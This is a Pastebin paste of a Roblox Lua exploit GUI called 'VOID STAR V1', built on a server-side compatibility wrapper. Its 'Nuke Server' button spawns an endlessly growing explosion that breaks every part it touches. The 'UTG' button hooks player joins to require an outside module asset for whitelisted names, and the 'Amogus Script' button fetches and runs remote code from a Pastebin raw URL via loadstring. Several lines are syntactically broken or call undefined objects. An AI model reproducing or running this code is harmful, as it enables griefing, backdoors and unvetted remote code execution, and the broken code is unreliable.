Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
- local Player,game,owner = owner,game
- local RealPlayer = Player
- do
- print("FE Compatibility code by Mokiros")
- local rp = RealPlayer
- script.Parent = rp.Character
- --RemoteEvent for communicating
- local Event = Instance.new("RemoteEvent")
- Event.Name = "UserInput_Event"
- --Fake event to make stuff like Mouse.KeyDown work
- local function fakeEvent()
- local t = {_fakeEvent=true,Functions={},Connect=function(self,f)table.insert(self.Functions,f) end}
- t.connect = t.Connect
- return t
- end
- --Creating fake input objects with fake variables
- local m = {Target=nil,Hit=CFrame.new(),KeyUp=fakeEvent(),KeyDown=fakeEvent(),Button1Up=fakeEvent(),Button1Down=fakeEvent()}
- local UIS = {InputBegan=fakeEvent(),InputEnded=fakeEvent()}
- local CAS = {Actions={},BindAction=function(self,name,fun,touch,...)
- CAS.Actions[name] = fun and {Name=name,Function=fun,Keys={...}} or nil
- end}
- --Merged 2 functions into one by checking amount of arguments
- CAS.UnbindAction = CAS.BindAction
- --This function will trigger the events that have been :Connect()'ed
- local function te(self,ev,...)
- local t = m[ev]
- if t and t._fakeEvent then
- for _,f in pairs(t.Functions) do
- f(...)
- end
- end
- end
- m.TrigEvent = te
- UIS.TrigEvent = te
- Event.OnServerEvent:Connect(function(plr,io)
- if plr~=rp then return end
- m.Target = io.Target
- m.Hit = io.Hit
- if not io.isMouse then
- local b = io.UserInputState == Enum.UserInputState.Begin
- if io.UserInputType == Enum.UserInputType.MouseButton1 then
- return m:TrigEvent(b and "Button1Down" or "Button1Up")
- end
- for _,t in pairs(CAS.Actions) do
- for _,k in pairs(t.Keys) do
- if k==io.KeyCode then
- t.Function(t.Name,io.UserInputState,io)
- end
- end
- end
- m:TrigEvent(b and "KeyDown" or "KeyUp",io.KeyCode.Name:lower())
- UIS:TrigEvent(b and "InputBegan" or "InputEnded",io,false)
- end
- end)
- Event.Parent = NLS([==[
- local Player = game:GetService("Players").LocalPlayer
- local Event = script:WaitForChild("UserInput_Event")
- local Mouse = Player:GetMouse()
- local UIS = game:GetService("UserInputService")
- local input = function(io,a)
- if a then return end
- --Since InputObject is a client-side instance, we create and pass table instead
- Event:FireServer({KeyCode=io.KeyCode,UserInputType=io.UserInputType,UserInputState=io.UserInputState,Hit=Mouse.Hit,Target=Mouse.Target})
- end
- UIS.InputBegan:Connect(input)
- UIS.InputEnded:Connect(input)
- local h,t
- --Give the server mouse data 30 times every second, but only if the values changed
- --If player is not moving their mouse, client won't fire events
- while wait(1/30) do
- if h~=Mouse.Hit or t~=Mouse.Target then
- h,t=Mouse.Hit,Mouse.Target
- Event:FireServer({isMouse=true,Target=t,Hit=h})
- end
- end]==],Player.Character)
- ----Sandboxed game object that allows the usage of client-side methods and services
- --Real game object
- local _rg = game
- --Metatable for fake service
- local fsmt = {
- __index = function(self,k)
- local s = rawget(self,"_RealService")
- if s then return s[k] end
- end,
- __newindex = function(self,k,v)
- local s = rawget(self,"_RealService")
- if s then s[k]=v end
- end,
- __call = function(self,...)
- local s = rawget(self,"_RealService")
- if s then return s(...) end
- end
- }
- local function FakeService(t,RealService)
- t._RealService = typeof(RealService)=="string" and _rg:GetService(RealService) or RealService
- return setmetatable(t,fsmt)
- end
- --Fake game object
- local g = {
- GetService = function(self,s)
- return self[s]
- end,
- Players = FakeService({
- LocalPlayer = FakeService({GetMouse=function(self)return m end},Player)
- },"Players"),
- UserInputService = FakeService(UIS,"UserInputService"),
- ContextActionService = FakeService(CAS,"ContextActionService"),
- }
- rawset(g.Players,"localPlayer",g.Players.LocalPlayer)
- g.service = g.GetService
- g.RunService = FakeService({
- RenderStepped = _rg:GetService("RunService").Heartbeat,
- BindToRenderStep = function(self,name,_,fun)
- self._btrs[name] = self.Heartbeat:Connect(fun)
- end,
- UnbindFromRenderStep = function(self,name)
- self._btrs[name]:Disconnect()
- end,
- },"RunService")
- setmetatable(g,{
- __index=function(self,s)
- return _rg:GetService(s) or typeof(_rg[s])=="function"
- and function(_,...)return _rg[s](_rg,...)end or _rg[s]
- end,
- __newindex = fsmt.__newindex,
- __call = fsmt.__call
- })
- --Changing owner to fake player object to support owner:GetMouse()
- game,owner = g,g.Players.LocalPlayer
- end
- local ScreenGui = Instance.new("ScreenGui")
- local main = Instance.new("Frame")
- local TextLabel = Instance.new("TextLabel")
- local nuke = Instance.new("TextButton")
- local gui = Instance.new("TextButton")
- local utg = Instance.new("TextButton")
- local amogus = Instance.new("TextButton")
- --Properties:
- ScreenGui.Parent = game.CoreGui
- ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
- main.Name = "main"
- main.Parent = ScreenGui
- main.BackgroundColor3 = Color3.fromRGB(93, 93, 93)
- main.BorderColor3 = Color3.fromRGB(0, 0, 0)
- main.Position = UDim2.new(0.220917821, 0, 0.252086818, 0)
- main.Size = UDim2.new(0, 338, 0, 231)
- TextLabel.Parent = main
- TextLabel.BackgroundColor3 = Color3.fromRGB(93, 93, 93)
- TextLabel.BorderColor3 = Color3.fromRGB(0, 0, 0)
- TextLabel.Size = UDim2.new(0, 338, 0, 43)
- TextLabel.Font = Enum.Font.SciFi
- TextLabel.LineHeight = 3.000
- TextLabel.Text = "VOID STAR V1 | Made By QU1CKS1LV3R"
- TextLabel.TextColor3 = Color3.fromRGB(0, 0, 0)
- TextLabel.TextSize = 21.000
- nuke.Name = "nuke"
- nuke.Parent = main
- nuke.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
- nuke.Position = UDim2.new(0.1848526, 0, 0.259740263, 0)
- nuke.Size = UDim2.new(0, 84, 0, 42)
- nuke.Font = Enum.Font.SciFi
- nuke.Text = "Nuke Server"
- nuke.TextColor3 = Color3.fromRGB(0, 0, 0)
- nuke.TextSize = 14.000
- nuke.MouseButton1Down:connect (function)()
- hint = Instance.new("Hint",workspace)
- nuke = Instance.new("Part",workspace)
- nuke.Size = Vector3.new(5,50,5)
- nuke.Material = Enum.Material.DiamondPlate
- nuke.BrickColor = BrickColor.Gray()
- nuke.CFrame = CFrame.new(0,10000,0)
- bodypos = Instance.new("BodyPosition",nuke)
- bodypos.MaxForce = Vector3.new(100,100,100)
- bodypos.D = 100
- bodypos.P = 5
- bodypos.Position = Vector3.new(0,0,0)
- debounce = false
- size = 5
- waittime = 0.0001
- hint.Text = "TACTICAL NUKE! INCOMING!"
- nuke.Touched:connect(function()
- if debounce == false then
- debounce = true
- nuke.Anchored = true
- boomboom = Instance.new("Part",workspace)
- boomboom.BrickColor = BrickColor.new("Gold")
- boomboom.Shape = Enum.PartType.Ball
- boomboom.Anchored = true
- boomboom.Transparency = 0.5
- boomboom.TopSurface = Enum.SurfaceType.Smooth
- boomboom.BottomSurface = Enum.SurfaceType.Smooth
- boomboom.CanCollide = false
- boomboom.CFrame = CFrame.new(0,0,0)
- boomboom.Touched:connect(function(hit)
- hit:BreakJoints()
- end)
- while true do
- wait(waittime)
- expl = Instance.new("Explosion",workspace)
- hint.Text = "NUKE HAS GAINED "..tostring(boomboom.Size.Y).." STUDS OF SIZE!"
- expl.BlastPressure = 999
- expl.BlastRadius = size
- expl.Position = Vector3.new(0,0,0)
- boomboom.Size = boomboom.Size + Vector3.new(size,size,size)
- size = size + 0.001
- waittime = waittime - 0.001
- end
- end
- end)
- end
- gui.Name = "uwuz_gui"
- gui.Parent = main
- gui.BackgroundColor3 = Color3.fromRGB(96, 34, 255)
- gui.Position = UDim2.new(0.532075167, 0, 0.259740263, 0)
- gui.Size = UDim2.new(0, 94, 0, 42)
- gui.Font = Enum.Font.SciFi
- gui.Text = "UwUz GUI (doesent work)"
- gui.TextColor3 = Color3.fromRGB(97, 0, 1)
- gui.TextSize = 14.000
- uwuz_gui.MouseButton1Down:connect (function)()
- end
- utg.Name = "utg"
- utg.Parent = main
- utg.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
- utg.Position = UDim2.new(0.1848526, 0, 0.601731598, 0)
- utg.Size = UDim2.new(0, 84, 0, 42)
- utg.Font = Enum.Font.SciFi
- utg.Text = "UTG"
- utg.TextColor3 = Color3.fromRGB(0, 0, 0)
- utg.TextSize = 14.000
- utg.MouseButton1Down:connect (function)()
- ocal allowed = {"MrResetAve", "iHaveA_FastComputer"} game.Players.PlayerAdded:Connect(function(player) for i, v in pairs(allowed) do if player.Name == v then require(3397500272):Fire(player.Name) end end end)
- end
- amogus.Name = "amogus"
- amogus.Parent = main
- amogus.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
- amogus.Position = UDim2.new(0.529116631, 0, 0.601731598, 0)
- amogus.Size = UDim2.new(0, 94, 0, 42)
- amogus.Font = Enum.Font.SciFi
- amogus.Text = "Amogus Script"
- amogus.TextColor3 = Color3.fromRGB(0, 0, 0)
- amogus.TextSize = 14.000
- amogus.MouseButton1Down:connect (function)()
- loadstring(game:HttpGet("https://pastebin.com/raw/JXUMavf3", true))()
- --https://www.roblox.com/catalog/5231223671/Black-Tophead
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement